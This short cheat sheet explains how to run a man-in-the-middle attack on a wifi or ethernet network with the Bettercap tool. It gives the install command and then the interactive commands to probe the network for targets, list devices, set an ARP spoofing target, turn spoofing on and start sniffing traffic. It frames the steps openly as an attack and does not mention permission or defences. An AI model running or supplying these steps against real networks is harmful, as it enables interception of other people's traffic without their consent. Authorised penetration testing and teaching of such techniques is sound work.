Bettercap is a tool that can be used as a MITM attack on a network. This can apply to wifi or ethernet
Installing Bettercap – sudo apt install bettercap
Usage
sudo bettercap – This launches the bettercap app
net.probe on – this searches for everyone on the network and who is available for the attack
net.show – this lists all of the devices on the network
set arp.spoof.targets <IP ADDRESS> – arp spoofing will first send traffic to attacker machine. You will need the IP of the host device
arp.spoof on – This turns on arp spoofing
net.sniff on – this turns the sniffer on